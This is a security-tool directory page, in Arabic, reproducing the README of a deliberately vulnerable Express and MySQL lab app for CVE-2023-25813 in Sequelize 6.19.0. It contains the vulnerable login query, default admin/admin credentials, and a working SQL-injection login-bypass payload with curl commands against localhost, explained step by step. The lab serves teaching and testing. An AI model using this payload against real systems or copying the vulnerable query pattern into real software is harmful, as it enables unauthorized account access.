Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-25813-TEST — تنفيذ ثغرة حقن SQL في Sequelize | Kitploit
أدوات/GitHubGitHub/h-gunp/cve-2023-25813-test
تحليل الثغرات الأمنيةاستغلال تطبيقات الويبالتعلم والتعليمأمن قواعد البياناتمختبرات وتدريب عملي
GitHubh-gunp/cve-2023-25813-test

CVE-2023-25813-TEST

تنفيذ ثغرة حقن SQL في Sequelize

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تطبيق اختبار CVE

هذا تطبيق عملي باستخدام Express + MySQL للتحقق من سلوك CVE-2023-25813 في Sequelize محليًا.

يحتفظ هذا المشروع عمدًا بإصدار Sequelize ضعيف ونمط استعلام تسجيل دخول ضعيف. لا تعرضه للإنترنت، وقم بتشغيله فقط في بيئة Docker المحلية للاختبار العملي.

التكوين

  • الواجهة الخلفية: Express, EJS
  • قاعدة البيانات: MySQL 8.0
  • ORM: Sequelize 6.19.0
  • منفذ قاعدة بيانات Docker: localhost:3307
  • منفذ الويب: localhost:3000

الميزات الرئيسية:

  • التسجيل
  • تسجيل الدخول/تسجيل الخروج
  • عرض الحساب الحالي المسجل
  • إنشاء/تعديل/حذف المشاركات
  • إنشاء قاعدة البيانات تلقائيًا عند بدء التطبيق
  • إنشاء حساب admin تلقائيًا عند بدء التطبيق
  • مسار تسجيل الدخول لاختبار CVE-2023-25813

متغيرات البيئة

يستخدم ملف .env. راجع .env.example للحصول على مثال.

root@kitploit:~
DB_USER=root
DB_PASSWORD=YOUR_MYSQL_PASSWORD
DB_NAME=cve_test_db
DB_HOST=127.0.0.1
DB_PORT=3306
DB_FORWARD_PORT=3307
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin

عند التشغيل في Docker، يستخدم حاوية التطبيق خدمة db داخل Compose، وليس MySQL المحلي.

root@kitploit:~
بالنسبة لحاوية التطبيق: DB_HOST=db
بالنسبة للجهاز المضيف: منفذ اتصال قاعدة البيانات = 3307

تشغيل Docker

بعد تشغيل Docker Desktop، قم بالتشغيل في PowerShell.

root@kitploit:~
cd "C:\Users\hjshg\Desktop\cve-test-app"
docker compose up -d --build

افتح في المتصفح.

root@kitploit:~
http://localhost:3000

التحقق من الحالة:

root@kitploit:~
docker compose ps
docker compose logs app --tail 50

الإيقاف:

root@kitploit:~
docker compose down

حذف بيانات قاعدة البيانات أيضًا:

root@kitploit:~
docker compose down -v

التحقق من قاعدة البيانات

للاتصال المباشر بـ MySQL داخل Docker:

root@kitploit:~
docker compose exec db mysql -uroot -p cve_test_db

كلمة المرور هي قيمة DB_PASSWORD في ملف .env.

في أدوات GUI مثل Workbench، استخدم القيم التالية للاتصال.

root@kitploit:~
Host: 127.0.0.1
Port: 3307
User: root
Password: كلمة مرور DB_PASSWORD من .env
Database: cve_test_db

إذا تم إنشاء قاعدة البيانات، ستظهر هذه الرسائل في سجل التطبيق.

root@kitploit:~
قاعدة البيانات cve_test_db جاهزة
حساب المسؤول admin جاهز
اتصال قاعدة البيانات ناجح
الاستماع على المنفذ 3000

حساب المسؤول الافتراضي

عند بدء التطبيق، يتم إنشاء حساب admin تلقائيًا باستخدام قيم .env.

القيم الافتراضية:

root@kitploit:~
اسم المستخدم: admin
كلمة المرور: admin

بعد تسجيل الدخول، يظهر الحساب الحالي في أعلى الصفحة الرئيسية.

root@kitploit:~
الحساب الحالي: admin

التحقق من تسجيل الدخول العادي

انتقل إلى /login في المتصفح، ثم:

root@kitploit:~
اسم المستخدم: admin
كلمة المرور: admin

عند النجاح، يتم التوجيه إلى / وتظهر معلومات الحساب الحالي في الصفحة الرئيسية.

للتحقق باستخدام curl:

root@kitploit:~
curl.exe -i -X POST http://localhost:3000/login `
  -H "Content-Type: application/x-www-form-urlencoded" `
  --data-urlencode "username=admin" `
  --data-urlencode "password=admin"

معيار النجاح:

root@kitploit:~
HTTP/1.1 302 Found
Location: /

حمولة اختبار CVE

انتقل إلى /login في المتصفح، ثم أدخل القيم التالية.

root@kitploit:~
اسم المستخدم: /**/OR/**/1=1)/**/#
كلمة المرور: :username

عند النجاح، لن يتم التوجيه إلى /login?error=invalid بل إلى /. سيكون الحساب الحالي في الصفحة الرئيسية هو حساب المستخدم الذي تم تسجيل الدخول به.

التحقق باستخدام curl:

root@kitploit:~
curl.exe -i -X POST http://localhost:3000/login `
  -H "Content-Type: application/x-www-form-urlencoded" `
  --data-urlencode "username=/**/OR/**/1=1)/**/#" `
  --data-urlencode "password=:username"

معيار النجاح:

root@kitploit:~
HTTP/1.1 302 Found
Location: /

مبدأ الحمولة

الكود الضعيف موجود في مسار تسجيل الدخول.

root@kitploit:~
const user = await User.findOne({
    where: and(
        literal('username = :username'),
        { password }
    ),
    replacements: { username: username }
});

في حالة تسجيل الدخول العادي، سيكون استعلام SQL تقريبًا بالشكل التالي.

root@kitploit:~
WHERE (username = 'admin' AND `User`.`password` = 'admin') LIMIT 1;

المشكلة تكمن في استخدام literal('username = :username') و { password } و replacements معًا في نفس الاستعلام. في Sequelize 6.19.0، يتم تطبيق replacements على الاستعلام بأكمله، مما يسمح باستبدال :username حتى داخل قيمة password التي يدخلها المستخدم.

يتم إدخال حمولة الاختبار على النحو التالي.

root@kitploit:~
username = /**/OR/**/1=1)/**/#
password = :username

في هذه الحالة، سيظهر الاستعلام الفعلي في السجل تقريبًا بالشكل التالي.

root@kitploit:~
WHERE (
  username = '/**/OR/**/1=1)/**/#'
  AND `User`.`password` = ''/**/OR/**/1=1)/**/#''
) LIMIT 1;

معنى كل جزء:

  • password=:username: هذا هو العنصر الأساسي الذي يتسبب في إعادة استبدال :username حتى في حقل كلمة المرور.
  • /**/: كتلة تعليق في MySQL. تعمل كمسافة، لذا تفصل رموز SQL حتى لو تم حذف المسافات حول OR.
  • OR 1=1: يضيف شرطًا صحيحًا دائمًا.
  • ): يغلق مجموعة الشروط AND(...) التي أنشأها Sequelize.
  • #: تعليق سطر واحد في MySQL. يعلق على علامات الاقتباس المتبقية وأجزاء LIMIT 1 المتبقية لتجنب أخطاء الصياغة.

نتيجة لذلك، يصبح الشرط صحيحًا دائمًا، ويتم جلب أول صف مستخدم، ويعتبر التطبيق عملية تسجيل الدخول ناجحة.

الأخطاء الشائعة

ظهور خطأ SQL syntax

إذا كانت الحمولة تعتمد على مسافات كما يلي، فقد تفشل بسبب إزالة المسافات الأمامية/الخلفية أثناء الإدخال في المتصفح.

root@kitploit:~
 OR 1=1) -- 

تعليق -- في MySQL يتطلب مسافة بعده. إذا تم حذف المسافة، فلن يتم التعرف عليه كتعليق وسيحدث خطأ في الصياغة.

في هذا المشروع، نوصي بالحمولة التالية.

root@kitploit:~
اسم المستخدم: /**/OR/**/1=1)/**/#
كلمة المرور: :username
### عدم ظهور قاعدة البيانات في MySQL المحلي

عند التشغيل في Docker، يتم إنشاء قاعدة البيانات في حاوية `db` داخل Docker، وليس في خادم MySQL المحلي. لعرضها من الجهاز المضيف، اتصل بـ `localhost:3307`.

### ظهور تحذير npm audit

هذا طبيعي. يحتفظ هذا التطبيق بإصدار Sequelize ضعيف لاختبار CVE.

```text
[email protected]

إذا قمت بتشغيل npm audit fix، فقد تختفي الثغرة المستهدفة للاختبار.

تنزيل الأداة